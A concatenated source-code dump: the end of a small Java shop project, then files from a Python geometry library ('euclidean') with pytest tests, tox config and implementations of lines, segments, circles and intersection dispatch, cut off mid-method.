public Fruit(int codeB, String nomA, String descriptionA, double prixU, Unite unite, Date dateEx, boolean estFrais,
String saison) {
super(codeB, nomA, descriptionA, prixU, unite, dateEx, estFrais);
this.saison = saison;
}
}
<file_sep>/src/com/magasin/utils/TypeTelevision.java
package com.magasin.utils;
public enum TypeTelevision {
LCD,PLASMA,LED,CRT,OLED
}
<file_sep>/README.md
"# Magasin"
<file_sep>/src/com/magasin/utils/Adress.java
package com.magasin.utils;
public enum Adress {
Bizerte("1 jours"),tunis1("1 jours"),tunis2("1 jours"),Ariana("1 jours"),Béja("2 jours"),BenArous("1 jours"),Gabès("3 jours"),Gafsa("3 jours"),Jendouba("3 jours"),Kairouan("3 jours"),Kasserine("3 jours"),Kef("3 jours"),Mahdia("3 jours"),
Manouba("1 jours"),Médenine("3 jours"),Monastir("2 jours"),Nabeul("1 jours"),Sfax("3 jours"),SidBouzid("3 jours"),Siliana("3 jours"),Sousse("2 jours"),Tataouine("3 jours"),Tozeur("3 jours"),Zaghouan("3 jours");
String adresse;
private Adress(String adresse) {
this.adresse= adresse;
}
public String getAdresse() {
return adresse;
}
}
| de7349075ef6428b0a9c677825e9a39c1d868598 | [
"Markdown",
"Java"
] | 13 | Java | haithemhamzaoui/Magasin | 0edd5e61f9d5073e227b246299c8061bf53e4f53 | f2b2d09cd399ba98607b87b6a9f019f35818d078 |
refs/heads/main | <file_sep>import math
import pytest
from euclidean.R2 import P2, V2, LineSegment
def test_line_segment_create():
ls1 = LineSegment(P2(0, 0), P2(10, 10))
ls2 = LineSegment(P2(10, 10), P2(0, 0))
assert ls1 == ls2
with pytest.raises(ValueError):
LineSegment(P2(1, 1), P2(1, 1))
def test_line_segment_vector():
ls = LineSegment(P2(0, 0), P2(10, 10))
assert V2(10, 10) == ls.vector()
ls = LineSegment(P2(10, 10), P2(0, 0))
assert V2(-10, -10) == ls.vector()
def test_line_segment_length():
ls = LineSegment(P2(0, 0), P2(10, 0))
assert 10 == ls.length()
ls = LineSegment(P2(0, 0), P2(0, 10))
assert 10 == ls.length()
ls = LineSegment(P2(-10, -10), P2(10, 10))
assert 800 ** 0.5 == ls.length()
def test_line_segment_ordered():
ls1 = LineSegment(P2(0, 0), P2(10, 10))
ls2 = LineSegment(P2(0, 10), P2(10, 0))
ls3 = LineSegment(P2(10, 0), P2(0, 10))
ls4 = LineSegment(P2(10, 10), P2(0, 0))
assert ls1.ordered() == (P2(0, 0), P2(10, 10))
assert ls4.ordered() == (P2(0, 0), P2(10, 10))
assert ls2.ordered() == (P2(0, 10), P2(10, 0))
assert ls3.ordered() == (P2(0, 10), P2(10, 0))
def test_line_segment_rotate():
ls = LineSegment(P2(-10, -10), P2(10, 10))
assert ls.rotate(math.pi / 2) == LineSegment(P2(-10, 10), P2(10, -10))
ls = LineSegment(P2(0, 0), P2(10, 10))
assert ls.rotate(math.pi / 2, P2(5, 5)) == LineSegment(P2(0, 10), P2(10, 0))
def test_line_segment_translate():
ls = LineSegment(P2(-10, -10), P2(10, 10))
assert LineSegment(P2(-9, -9), P2(11, 11)) == ls.translate(V2(1, 1))
ls = LineSegment(P2(10, 10), P2(-10, -10))
assert LineSegment(P2(11, 11), P2(-9, -9)) == ls.translate(V2(1, 1))
def test_line_segment_center():
ls = LineSegment(P2(-10, 10), P2(10, 10))
assert P2(0, 10) == ls.center()
ls = LineSegment(P2(10, -10), P2(10, 10))
assert P2(10, 0) == ls.center()
ls = LineSegment(P2(-10, -10), P2(10, 10))
assert P2(0, 0) == ls.center()
def test_line_segment_contains():
ls = LineSegment(P2(-10, -10), P2(10, 10))
assert ls.contains(P2(0, 0))
assert ls.contains(P2(5, 5))
assert ls.contains(P2(-10, -10))
assert ls.contains(P2(10, 10))
assert not ls.contains(P2(-11, -11))
assert not ls.contains(P2(11, 11))
assert not ls.contains(P2(1, 0))
with pytest.raises(TypeError):
ls.contains(V2(10, 10))
ls = LineSegment(P2(0, 0), P2(9999999999.9, 9999999999.9))
assert ls.contains(P2(0, 0))
assert ls.contains(P2(9999999999.9, 9999999999.9))
assert not ls.contains(P2(9999999999.99, 9999999999.99))
def test_line_segment_equality():
assert LineSegment(P2(0, 0), P2(10, 10)) != LineSegment(P2(1, 1), P2(10, 10))
assert not LineSegment(P2(0, 0), P2(10, 10)) == None
def test_line_segment_line():
ls = LineSegment(P2(0, 0), P2(10, 10))
assert ls.line() == LineSegment(P2(-10, -10), P2(10, 10)).line()
assert ls.line() == LineSegment(P2(100, 100), P2(200, 200)).line()
assert ls.line() != LineSegment(P2(-10, -10), P2(1, 0)).line()
def test_line_intersection():
ls = LineSegment(P2(0, 0), P2(10, 10))
with pytest.raises(TypeError):
ls.intersection(None)
with pytest.raises(TypeError):
ls.intersection(ls.line())
assert P2(5, 5) == ls.intersection(LineSegment(P2(0, 10), P2(10, 0)))
assert None == ls.intersection(LineSegment(P2(4, 5), P2(0, 10)))
assert None == ls.intersection(LineSegment(P2(5, 4), P2(10, 0)))
ls = LineSegment(P2(10, 10), P2(0, 0))
assert None == ls.intersection(LineSegment(P2(4, 5), P2(0, 10)))
assert None == ls.intersection(LineSegment(P2(5, 4), P2(10, 0)))
def test_line_segment_does_intersect():
pass
<file_sep>import pytest
from euclidean.R2 import Line, P2, V2
def test_create():
with pytest.raises(ValueError):
Line(0, 0, 0)
def test_line_equality():
line = Line(1, -1, 0)
assert line == Line(-1, 1, 0)
assert line != Line(1, 1, 0)
assert not line == None
def test_create_from_points():
l = Line.ByPoints(P2(-1, -1), P2(1, 1))
assert l.y(1) == pytest.approx(1)
assert l.y(-1) == pytest.approx(-1)
assert l.x(1) == pytest.approx(1)
assert l.x(-1) == pytest.approx(-1)
assert l.y(25) == pytest.approx(25)
assert l.y(-25) == pytest.approx(-25)
assert l.x(25) == pytest.approx(25)
assert l.x(-25) == pytest.approx(-25)
l = Line.ByPoints(P2(-1, 1), P2(1, -1))
assert l.y(1) == pytest.approx(-1)
assert l.y(-1) == pytest.approx(1)
assert l.x(1) == pytest.approx(-1)
assert l.x(-1) == pytest.approx(1)
assert l.y(25) == pytest.approx(-25)
assert l.y(-25) == pytest.approx(25)
assert l.x(25) == pytest.approx(-25)
assert l.x(-25) == pytest.approx(25)
def test_degenerate_cases():
vert = Line.ByPoints(P2(1, 1), P2(1, -1))
assert vert.y(1) is None
assert vert.y(-100) is None
assert vert.x(-1) == pytest.approx(1)
assert vert.x(1) == pytest.approx(1)
assert vert.x(-100) == pytest.approx(1)
assert vert.x(100) == pytest.approx(1)
horz = Line.ByPoints(P2(-1, 0), P2(1, 0))
assert horz.y(-1) == pytest.approx(0)
assert horz.y(1) == pytest.approx(0)
assert horz.y(-100) == pytest.approx(0)
assert horz.y(100) == pytest.approx(0)
assert horz.x(-1) is None
assert horz.x(1) is None
assert horz.x(-100) is None
assert horz.x(100) is None
def test_intersection():
horz = Line.ByPoints(P2(-1, 10), P2(1, 10))
vert = Line.ByPoints(P2(10, -1), P2(10, 1))
assert horz.intersection(vert), P2(10, 10)
assert horz.intersection(horz) is None
assert horz.intersection(Line.ByPoints(P2(-1, 0), P2(1, 0))) is None
l45 = Line.ByPoints(P2(0, 0), P2(1, 1))
assert horz.intersection(l45).approx(P2(10, 10))
l135 = Line.ByPoints(P2(0, 0), P2(-1, 1))
assert horz.intersection(l135).approx(P2(-10, 10))
def test_closest_point():
horz = Line.ByPoints(P2(-1, 10), P2(1, 10))
assert horz.closest(P2(0, 0)).approx(P2(0, 10))
assert horz.closest(P2(5, 10)).approx(P2(5, 10))
vert = Line.ByPoints(P2(10, 1), P2(10, -2))
assert vert.closest(P2(0, 5)).approx(P2(10, 5))
assert vert.closest(P2(10, 5)).approx(P2(10, 5))
def test_translate():
line = Line(2, 1, 2)
assert line.y(0) == pytest.approx(2)
assert line.x(0) == pytest.approx(1)
translated = line.translate(V2(1, 1))
assert translated.y(0) == pytest.approx(3)
assert translated.x(0) == pytest.approx(2)
horz = Line.ByPoints(P2(-1, 10), P2(1, 10))
assert horz.y(0) == pytest.approx(10)
translated = horz.translate(V2(1, 1))
assert translated.y(0) == pytest.approx(11)
vert = Line.ByPoints(P2(10, -1), P2(10, 1))
assert vert.x(0) == pytest.approx(10)
translated = vert.translate(V2(1, 1))
assert translated.x(0) == pytest.approx(11)
def test_parallel_y():
line = Line.ByPoints(P2(0, 0), P2(1, 0))
up_one = line.parallel(P2(1, 1))
assert up_one == line.parallel(P2(0, 1))
assert up_one.y(-1) == 1
assert up_one.y(1) == 1
def test_parallel_x():
pass
def test_parallel_xy():
pass
def test_line_contains_point():
line = Line(1, 1, 0)
assert line.contains(P2(0, 0))
assert line.contains(P2(-1, 1))
assert line.contains(P2(1, -1))
assert not line.contains(P2(0, 1))
assert not line.contains(V2(0, 0))
def test_line_intersection():
l1 = Line(1, 1, 0)
l2 = Line(1, -1, 0)
assert l1.intersection(l2) == P2(0, 0)
assert l2.intersection(l1) == P2(0, 0)
l3 = Line(1, 1, 1)
assert l1.intersection(l3) is None
with pytest.raises(TypeError):
l1.intersection(None)
def test_line_above():
horz = Line(0, 1, 10)
assert horz.on_side(P2(0, 20)) == 1
assert horz.on_side(P2(20, 20)) == 1
assert horz.on_side(P2(0, 10)) == 0
assert horz.on_side(P2(0, 0)) == -1
vert = Line(1, 0, 10)
assert vert.on_side(P2(0, 0)) == -1
assert vert.on_side(P2(20, 0)) == 1
assert vert.on_side(P2(10, 0)) == 0
sloped = Line(1, 1, 0)
assert sloped.on_side(P2(10, 10)) == 1
assert sloped.on_side(P2(-1, -1)) == -1
assert sloped.on_side(P2(-10, 20)) == 1
assert sloped.on_side(P2(-10, 10)) == 0
<file_sep>import pytest
from euclidean.R2 import intersect, P2, Circle, Polygon, LineSegment, Line
def test_line_line():
l1 = Line(1, 1, 0)
l2 = Line(1, -1, 0)
assert {P2(0, 0)} == intersect(l1, l2)
assert {P2(1, 1)} == intersect(l2, Line(1, 1, 2))
def test_line_line_segment():
l1 = Line(1, 1, 0)
assert {P2(0, 0)} == intersect(l1, LineSegment(P2(-10, -10), P2(10, 10)))
assert {P2(0, 0)} == intersect(LineSegment(P2(-10, -10), P2(10, 10)), l1)
assert {P2(0, 0)} == intersect(l1, LineSegment(P2(10, 10), P2(-10, -10)))
assert {P2(0, 0)} == intersect(LineSegment(P2(10, 10), P2(-10, -10)), l1)
assert set() == intersect(l1, LineSegment(P2(1, 1), P2(10, 10)))
def test_line_segment_line_segment():
ls1 = LineSegment(P2(0, 0), P2(10, 10))
ls2 = LineSegment(P2(0, 10), P2(10, 0))
assert {P2(5, 5)} == intersect(ls1, ls2)
assert {P2(5, 5)} == intersect(ls2, ls1)
with pytest.raises(NotImplementedError):
intersect(ls1, None)
assert set() == intersect(ls1, LineSegment(P2(0, 5), P2(5, 10)))
def test_line_circle():
circle = Circle(100, P2(1, 1))
x = Line(1, 0, 1)
points = intersect(x, circle)
assert {P2(1.0, 101.0), P2(1.0, -99.0)} == points
points = intersect(circle, x)
assert {P2(1.0, 101.0), P2(1.0, -99.0)} == points
tangent_circle = Circle(1, P2(2, 0))
assert {P2(1.0, 0.0)} == intersect(tangent_circle, x)
assert {P2(1.0, 0.0)} == intersect(x, tangent_circle)
horz = Line(0, 1, 1)
assert {P2(-99.0, 1.0), P2(101, 1.0)} == intersect(horz, circle)
assert {P2(-99.0, 1.0), P2(101, 1.0)} == intersect(circle, horz)
far_line = Line(1, 0, 200)
assert set() == intersect(far_line, circle)
assert set() == intersect(circle, far_line)
def test_line_segment_circle():
circle = Circle(100, P2(1, 0))
x = LineSegment(P2(1, -1000), P2(1, 1000))
points = intersect(x, circle)
assert {P2(1.0, 100.0), P2(1.0, -100.0)} == points
points = intersect(circle, x)
assert {P2(1.0, 100.0), P2(1.0, -100.0)} == points
x2 = LineSegment(P2(1, -1000), P2(1, 0))
assert {P2(1.0, -100.0)} == intersect(circle, x2)
assert {P2(1.0, -100.0)} == intersect(x2, circle)
def test_circle_circle():
# functionality tested in test_r2_circle
circle1 = Circle(100, P2(0, 0))
circle2 = Circle(100, P2(100, 100))
assert {P2(0.0, 100.0), P2(100.0, 0.0)} == intersect(circle1, circle2)
def test_polygon_line():
polygon = Polygon([P2(-1, -1), P2(1, -1), P2(1, 1), P2(-1, 1)])
line = Line(1, 1, 0)
assert {P2(-1, 1), P2(1, -1)} == intersect(polygon, line)
assert {P2(-1, 1), P2(1, -1)} == intersect(line, polygon)
line = Line(1, 1, 1)
assert {P2(0, 1), P2(1, 0)} == intersect(polygon, line)
assert {P2(0, 1), P2(1, 0)} == intersect(line, polygon)
def test_polygon_line_segment():
polygon = Polygon([P2(-1, -1), P2(1, -1), P2(1, 1), P2(-1, 1)])
ls = LineSegment(P2(0, 0), P2(10, 0))
assert {P2(1.0, 0.0)} == intersect(polygon, ls)
assert {P2(1.0, 0.0)} == intersect(ls, polygon)
ls = LineSegment(P2(-0.5, -0.5), P2(0.5, 0.5))
assert set() == intersect(polygon, ls)
assert set() == intersect(ls, polygon)
ls = LineSegment(P2(0, 0), P2(-10, -10))
assert {P2(-1.0, -1.0)} == intersect(polygon, ls)
assert {P2(-1.0, -1.0)} == intersect(ls, polygon)
ls = LineSegment(P2(0, -10), P2(0, 10))
assert {P2(0.0, -1.0), P2(0.0, 1.0)} == intersect(polygon, ls)
assert {P2(0.0, -1.0), P2(0.0, 1.0)} == intersect(ls, polygon)
<file_sep>import pytest
from siquant import SIUnit, si, make
from euclidean.constants import eta
from euclidean.siquant.factory import make_factory, V2Quantity, V3Quantity
from euclidean.R2 import V2
from euclidean.R3 import V3
SIUnit.factory = make_factory(V2Quantity, V3Quantity)
def test_create():
xyz = make(V3(1, 2, 3), si.meters)
assert V3(1, 2, 3) * si.meters == xyz
assert V3(1, 2, 3) == xyz.get_as(si.meters)
assert V3(1000, 2000, 3000) == xyz.get_as(si.millimeters)
assert V2(1, 2) * si.meters == xyz.xy()
assert V2(2, 3) * si.meters == xyz.yz()
assert V2(1, 3) * si.meters == xyz.xz()
def test_cmp():
xyz = V3(1, 2, 3) * si.meters
assert not V3(1, 2, 3) == xyz
assert not None == xyz
def test_angle():
x = V3(1, 0, 0) * si.meters
y = V3(0, 1, 0) * si.millimeters
assert pytest.approx(eta) == x.angle(y).get_as(si.radians)
z = V3(0, 0, 1) * si.meters
assert pytest.approx(eta) == x.angle(z).get_as(si.radians)
def test_v3_cross():
x = V3(1, 0, 0) * si.meters
y = V3(0, 1, 0) * si.meters
assert make(V3(0, 0, 1), si.meters ** 2).approx(x.cross(y))
assert make(V3(0, 0, -1), si.meters ** 2).approx(y.cross(x))
def test_v3_manhattan_distance():
xyz = V3(1, 2, 3) * si.meters
assert 6 * si.meters == xyz.manhattan_distance()
def test_v3_magnitude():
xyz = V3(1, 1, 1) * si.meters
assert pytest.approx(3 ** 0.5) == xyz.magnitude().get_as(si.meters)
def test_v3_unit():
xyz = V3(1, 2, 3) * si.meters
assert pytest.approx(1) == xyz.unit().magnitude().quantity
def test_v3_add():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(2, 4, 6), si.meters).approx(xyz + xyz)
with pytest.raises(TypeError):
xyz + V3(1, 2, 3)
def test_v3_sub():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(0, 0, 0), si.meters).approx(xyz - xyz)
with pytest.raises(TypeError):
xyz - V3(1, 2, 3)
def test_v3_mul():
xyz = V3(1, 2, 3) * si.meters
assert make(V3(2, 4, 6), si.meters).approx(xyz * 2)
assert make(V3(2, 4, 6), si.meters).approx(2 * xyz)
with pytest.raises(TypeError):
xyz * xyz
def test_v3_div():
xyz = V3(2, 4, 6) * si.meters
assert make(V3(1, 2, 3), si.meters).approx(xyz / 2)
with pytest.raises(TypeError):
2 / xyz
with pytest.raises(TypeError):
xyz / None
<file_sep>[tox]
envlist = pre-commit,py34,py35,py36,py37,coverage-report
[testenv]
extras =
tests
siquant
commands = coverage run --parallel -m pytest {posargs}
[testenv:pre-commit]
skip_install = true
basepython = python3.6
deps = pre-commit
passenv = HOMEPATH # needed on Windows
commands = pre-commit run --all-files --verbose
[testenv:coverage-report]
basepython = python3.6
deps = coverage
skip_install = true
commands =
coverage combine
coverage report
<file_sep>def unexpected_type_error(arg_name, expected_type, actual_value):
return TypeError(
"'{name}' must be {type!r} (got {value!r} that is a "
"{actual!r}).".format(
name=arg_name,
type=expected_type,
actual=actual_value.__class__,
value=actual_value,
),
arg_name,
expected_type,
actual_value,
)
<file_sep>from multipledispatch import dispatch
from euclidean.R2.line import Line, LineSegment
from euclidean.R2.circle import Circle
from euclidean.R2.polygon import Polygon
from euclidean.R2.cartesian import P2, V2
@dispatch(Line, Line)
def intersect(line_1, line_2):
point = line_1.intersection(line_2)
return {point} if point else set()
@intersect.register(LineSegment, LineSegment)
def _(line_segment_1, line_segment_2):
point = line_segment_1.intersection(line_segment_2)
return {point} if point else set()
@intersect.register(Line, LineSegment)
def _(line, line_segment):
return line_line_segment_intersection(line, line_segment)
@intersect.register(LineSegment, Line)
def _(line_segment, line):
return line_line_segment_intersection(line, line_segment)
@intersect.register(Line, Circle)
def _(line, circle):
return line_circle_intersection(line, circle)
@intersect.register(Circle, Line)
def _(circle, line):
return line_circle_intersection(line, circle)
@intersect.register(LineSegment, Circle)
def _(line_segment, circle):
return line_segment_circle_intersection(line_segment, circle)
@intersect.register(Circle, LineSegment)
def _(circle, line_segment):
return line_segment_circle_intersection(line_segment, circle)
@intersect.register(Circle, Circle)
def _(circle_1, circle_2):
return circle_circle_intersection(circle_1, circle_2)
@intersect.register(Polygon, Line)
def _(polygon, line):
return polygon_intersection(polygon, line)
@intersect.register(Line, Polygon)
def _(line, polygon):
return polygon_intersection(polygon, line)
@intersect.register(Polygon, LineSegment)
def _(polygon, line_segment):
return polygon_intersection(polygon, line_segment)
@intersect.register(LineSegment, Polygon)
def _(line_segment, polygon):
return polygon_intersection(polygon, line_segment)
@intersect.register(Polygon, Circle)
def _(polygon, circle):
raise NotImplementedError("todo")
@intersect.register(Circle, Polygon)
def _(circle, polygon):
raise NotImplementedError("todo")
# implementations
def line_line_segment_intersection(line, line_segment):
point = line.intersection(line_segment.line())
if line_segment.contains(point):
return {point}
return set()
def line_circle_intersection(line, circle):
vector = circle.center.vector()
line = line.translate(-vector)
if line._cy == 0:
p1 = P2(line.x(0), 0)
p2 = P2(line.x(1), 1)
else:
p1 = P2(0, line.y(0))
p2 = P2(1, line.y(1))
dv = p2 - p1
dr2 = dv.magnitude() ** 2
determinant = p1.x * p2.y - p1.y * p2.x
discriminant = circle.radius ** 2 * dr2 - determinant ** 2
if discriminant < 0:
return set()
x0 = determinant * dv.y / dr2
y0 = -determinant * dv.x / dr2
central = P2(x0, y0) + vector
if discriminant == 0:
return {central}
sqrt_descriminant = discriminant ** 0.5
sign_y = -1 if dv.y < 0 else 1
x_off = sign_y * dv.x * sqrt_descriminant / dr2
y_off = abs(dv.y) * sqrt_descriminant / dr2
offset = V2(x_off, y_off)
return {central + offset, central - offset}
def line_segment_circle_intersection(line_segment, circle):
points = intersect(line_segment.line(), circle)
return set(p for p in points if line_segment.contains(p))
def circle_circle_intersection(circle_1, circle_2):
return circle_1.intersection(circle_2)
def polygon_intersection(polygon, other):
points = set()
for edge in polygon.edges():
points = points | intersect(edge, other)
return points
<file_sep>from sortedcontainers import SortedList
from collections.abc import Iterable, Set
def approx(a, b, atol=1e-6):
try:
return abs(a - b) <= atol
except TypeError:
return False
class ApproxSet(Set):
"""A Set of approximable instances.
.. note::
In order for an item to be retained by this collection, it must support
a **total ordering**. Rather than hashing values for membership, items
are maintained in a sorted ordering to support log(n) membership testing.
:param iterable:
:param approx_fcn:
"""
def __init__(self, iterable, approx_fcn=approx):
self.__impl = SortedList()
self.__approx = approx_fcn
for item in iterable:
if item not in self:
self.__impl.add(item)
def __len__(self):
return len(self.__impl)
def __iter__(self):
return iter(self.__impl)
def __eq__(self, other):
if isinstance(other, ApproxSet):
return self.__equals(other)
if isinstance(other, Set):
return self.__equals(other)
if isinstance(other, Iterable):
return self.__equals(ApproxSet(other))
return NotImplemented
def __equals(self, sequence):
if len(self) != len(sequence):
return False
sequence = sequence if isinstance(sequence, ApproxSet) else ApproxSet(sequence)
return all(self.__approx(a, b) for a, b in zip(self.__impl, sequence))
def __contains__(self, item):
"""Does the Set contain an item approximately equal to ``item``.
:param item: The item to test for membership.
:rtype: ``bool``
"""
idx = self.__impl.bisect_right(item)
return self.__test_index(idx, item) or self.__test_index(idx - 1, item)
def __test_index(self, index, item):
try:
return self.__approx(self.__impl[index], item)
except IndexError:
return False
<file_sep>import pytest
from euclidean.constants import eta
from siquant import SIUnit, make, si
from euclidean.siquant.factory import V2Quantity, make_factory
from euclidean.R2 import V2
SIUnit.factory = make_factory(V2Quantity)
def test_qv2_create():
vector = V2(1, 0)
vector_q = make(vector, si.meters)
assert vector == vector_q.get_as(si.meters)
assert V2(1000, 0) == vector_q.get_as(si.millimeters)
vector_q = vector * si.meters
assert vector == vector_q.get_as(si.meters)
vector_q = si.meters * vector
assert vector == vector_q.get_as(si.meters)
def test_qv2_rotate():
vector = V2(1, 0)
qv2 = make(vector, si.meters)
qv2 = qv2.rotate(eta * si.radians)
assert make(V2(0, 1), si.meters).approx(qv2)
qv2 = qv2.rotate(eta * si.radians)
assert make(V2(-1, 0), si.meters).approx(qv2)
qv2 = qv2.rotate(eta * si.radians)
assert make(V2(0, -1), si.meters).approx(qv2)
def test_qv2_dot_product():
qv2 = make(V2(3, 4), si.meters)
dot_product = qv2.dot(qv2)
assert not isinstance(dot_product, V2Quantity)
assert 25 == dot_product.get_as(si.meters ** 2)
def test_qv2_cross_product():
qv2 = make(V2(1, 1), si.meters)
cross_product = qv2.cross(qv2)
assert not isinstance(cross_product, V2Quantity)
assert 0 == cross_product.get_as(si.meters ** 2)
def test_qv2_magnitude():
qv2 = make(V2(3, 4), si.meters)
assert 5 == qv2.magnitude().get_as(si.meters)
def test_qv2_is_parallel():
qv2 = make(V2(1, 1), si.meters)
assert qv2.is_parallel(make(V2(2, 2), si.meters))
assert qv2.is_parallel(make(V2(-1, -1), si.meters))
assert not qv2.is_parallel(make(V2(1, 0), si.meters))
assert not qv2.is_parallel(make(V2(0, 1), si.meters))
assert qv2.is_parallel(V2(2, 2))
assert qv2.is_parallel(V2(-1, -1))
assert not qv2.is_parallel(V2(1, 0))
assert not qv2.is_parallel(V2(0, 1))
with pytest.raises(TypeError):
V2(1, 1).is_parallel(qv2)
def test_qv2_is_orthogonal():
qv2 = make(V2(1, 1), si.meters)
assert qv2.is_orthogonal(make(V2(-1, 1), si.meters))
assert qv2.is_orthogonal(V2(-1, 1))
assert not qv2.is_orthogonal(make(V2(1, 0), si.meters))
assert not qv2.is_orthogonal(V2(1, 0))
with pytest.raises(TypeError):
V2(1, 0).is_orthogonal(qv2)
def test_qv2_angle():
qv_x = make(V2(1, 0), si.meters)
qv_y = make(V2(0, 1), si.meters)
qv_xy = make(V2(1, 1), si.meters)
assert pytest.approx(eta) == qv_x.angle(qv_y).get_as(si.radians)
assert pytest.approx(eta / 2) == qv_x.angle(qv_xy).get_as(si.radians)
assert pytest.approx(eta / 2) == qv_y.angle(qv_xy).get_as(si.radians)
assert pytest.approx(eta) == qv_x.angle(V2(0, 1)).get_as(si.radians)
with pytest.raises(TypeError):
V2(0, 1).angle(qv_x)
def test_qv2_manhattan_dinstance():
qv2 = make(V2(10, 10), si.meters)
assert 20 == qv2.manhattan_distance().get_as(si.meters)
assert 20000 == qv2.manhattan_distance().get_as(si.millimeters)
def test_qv2_unit():
qv2 = make(V2(100, 0), si.meters)
assert make(V2(1, 0), si.unity) == qv2.unit()
qv2 = qv2.cvt_to(si.millimeters)
assert make(V2(1, 0), si.unity) == qv2.unit()
assert qv2 == abs(qv2) * qv2.unit()
def test_qv2_mul():
qv2 = make(V2(3, 4), si.meters)
mul_value = qv2 * 2
assert V2(6, 8).approx(mul_value.get_as(si.meters))
mul_value = 2 * qv2
assert V2(6, 8).approx(mul_value.get_as(si.meters))
qv2 *= 2
assert V2(6, 8).approx(qv2.get_as(si.meters))
def test_qv2_div():
qv2 = make(V2(11, 21), si.meters)
div_value = qv2 / 2
assert V2(5.5, 10.5).approx(div_value.get_as(si.meters))
qv2 /= 2
assert V2(5.5, 10.5).approx(qv2.get_as(si.meters))
<file_sep>import math
import pytest
from euclidean.R2 import P2, V2, Circle
@pytest.fixture
def circle_00():
return Circle(100)
@pytest.fixture
def circle_11():
return Circle(100, P2(1, 1))
def test_circle_create(circle_00, circle_11):
with pytest.raises(ValueError):
Circle(0)
with pytest.raises(ValueError):
Circle(-100)
assert circle_00.center == P2(0, 0)
assert circle_00.radius == 100
assert circle_11.center == P2(1, 1)
assert circle_11.radius == 100
def test_contains(circle_00, circle_11):
assert circle_00.contains(P2(0, 0))
assert circle_11.contains(P2(0, 0))
assert circle_00.contains(P2(-100, 0))
assert circle_00.contains(P2(100, 0))
assert circle_00.contains(P2(0, 100))
assert circle_00.contains(P2(0, -100))
assert not circle_00.contains(None)
assert not circle_00.contains(P2(150, 0))
assert not circle_00.contains(P2(0, 150))
assert not circle_11.contains(V2(0, 0))
def test_on_circumference(circle_00, circle_11):
assert not circle_00.on_circumference(P2(0, 0))
assert not circle_11.on_circumference(P2(0, 0))
assert circle_00.on_circumference(P2(100, 0))
assert circle_00.on_circumference(P2(0, 100))
def test_circumference(circle_00, circle_11):
assert circle_00.circumference() == circle_11.circumference()
assert circle_00.circumference() == math.pi * 200
def test_area(circle_00, circle_11):
a = math.pi * 100 ** 2
assert a == circle_00.area()
assert a == circle_11.area()
def test_circle_intersection(circle_00, circle_11):
far_circle = Circle(100, P2(500, 500))
with pytest.raises(ValueError):
circle_00.intersection(circle_00)
with pytest.raises(TypeError):
circle_00.intersection(None)
assert circle_00.intersection(far_circle) == set()
assert far_circle.intersection(circle_00) == set()
contained_circle = Circle(50)
assert circle_00.intersection(contained_circle) == set()
assert contained_circle.intersection(circle_00) == set()
tangent_circle = Circle(100, P2(200, 0))
assert circle_00.intersection(tangent_circle) == {P2(100.0, 0.0)}
assert tangent_circle.intersection(circle_00) == {P2(100.0, 0.0)}
intersecting_circle = Circle(100, P2(101, 101))
assert intersecting_circle.intersection(circle_11) == {
P2(101.0, 1.0),
P2(1.0, 101.0),
}
assert circle_11.intersection(intersecting_circle) == {
P2(101.0, 1.0),
P2(1.0, 101.0),
}
<file_sep>from euclidean.util import normalize_coefficients
from euclidean.exceptions import unexpected_type_error
from euclidean.approx import approx
from .cartesian import P2, V2
class Line:
@staticmethod
def ByPoints(p1, p2):
dx = p2.x - p1.x
dy = p2.y - p1.y
c = dx * p1.y - dy * p1.x
return Line(-dy, dx, c)
_cx = property(lambda self: self._coeffs[0])
_cy = property(lambda self: self._coeffs[1])
_c = property(lambda self: self._coeffs[2])
def __init__(self, cx, cy, c):
"""
cx * x + cy * y = c
Args:
cx:
cy:
c:
"""
self._coeffs = normalize_coefficients(cx, cy, c)
def _equation(self, point):
return self._cx * point.x + self._cy * point.y
def normal(self):
return V2(self._cx, self._cy).unit()
def translate(self, vector):
if self._cy == 0:
p1 = P2(self.x(0), 0)
p2 = P2(self.x(1), 1)
else:
p1 = P2(0, self.y(0))
p2 = P2(1, self.y(1))
return LineSegment(p1+vector, p2+vector).line()
def x(self, y):
"""Find the corresponding x coordinate on the line for coordinate y
Args:
y:
Returns:
"""
if self._cx == 0:
return None
return (self._c - self._cy * y) / self._cx
def y(self, x):
"""Find the corresponding y coordinate on the line for coordinate x
Args:
x:
Returns:
"""
if self._cy == 0:
return None
return (self._c - self._cx * x) / self._cy
def perpendicular(self, test_point):
"""Find the line perpendicular to this line, passing through test_point.
Args:
test_point (P2):
Returns:
(Line):
"""
return Line(
-self._cy, self._cx, self._cx * test_point.y - self._cy * test_point.x
)
def parallel(self, test_point):
"""Find the line parallel to this line, passing through test_point.
Args:
test_point (P2):
Returns:
(Line):
"""
return Line(
self._cx, self._cy, self._cx * test_point.x + self._cy * test_point.y
)
def closest(self, test_point):
"""Find the point on the line closest to the test_point.
This should be a point that forms a line segment with test point perpendicular to this line.
Args:
point (P2):
Returns:
(P2): a point on the line
"""
perpendicular = self.perpendicular(test_point)
return self.intersection(perpendicular) if perpendicular else test_point
def contains(self, point, atol=1e-6):
if isinstance(point, P2):
return abs(self._equation(point) - self._c) <= atol
return False
def __eq__(self, other):
if isinstance(other, Line):
return self._coeffs == other._coeffs
return NotImplemented
def __ne__(self, other):
return not self == other
def is_parallel(self, line, atol=1e-6):
if not isinstance(line, Line):
raise unexpected_type_error("line", Line, line)
my_normal = self.normal()
mirror = -my_normal
other_normal = line.normal()
return my_normal.approx(other_normal, atol) or mirror.approx(other_normal, atol)
def does_intersect(self, line, atol=1e-6):
if self == line:
raise ValueError("Test Lines are identical.")
return not self.is_parallel(line, atol)
def intersection(self, line):
if not isinstance(line, Line):
raise unexpected_type_error("line", Line, line)
det = self._cx * line._cy - self._cy * line._cx
if det == 0:
return None
return P2(
(line._cy * self._c - self._cy * line._c) / det,
(self._cx * line._c - line._cx * self._c) / det,
)
def on_side(self, point):
if self._cy == 0:
if point.x > self.x(0):
return 1
if point.x == self.x(0):
return 0
return -1
if point.y > self.y(point.x):
return 1
if point.y < self.y(point.x):
return -1
return 0
class LineSegment:
def __init__(self, p1, p2):
if p1 == p2:
raise ValueError("Points must be independent to define a line segment.")
self._p1 = p1
self._p2 = p2
def vector(self):
return self._p2 - self._p1
def length(self):
return self.vector().magnitude()
def ordered(self):
return (
(self._p1, self._p2)
if self._p1._coords < self._p2._coords
else (self._p2, self._p1)
)
def translate(self, vector):
return LineSegment(self._p1 + vector, self._p2 + vector)
def center(self):
return self._p1 + self.vector() / 2
def rotate(self, radians, around_point=None):
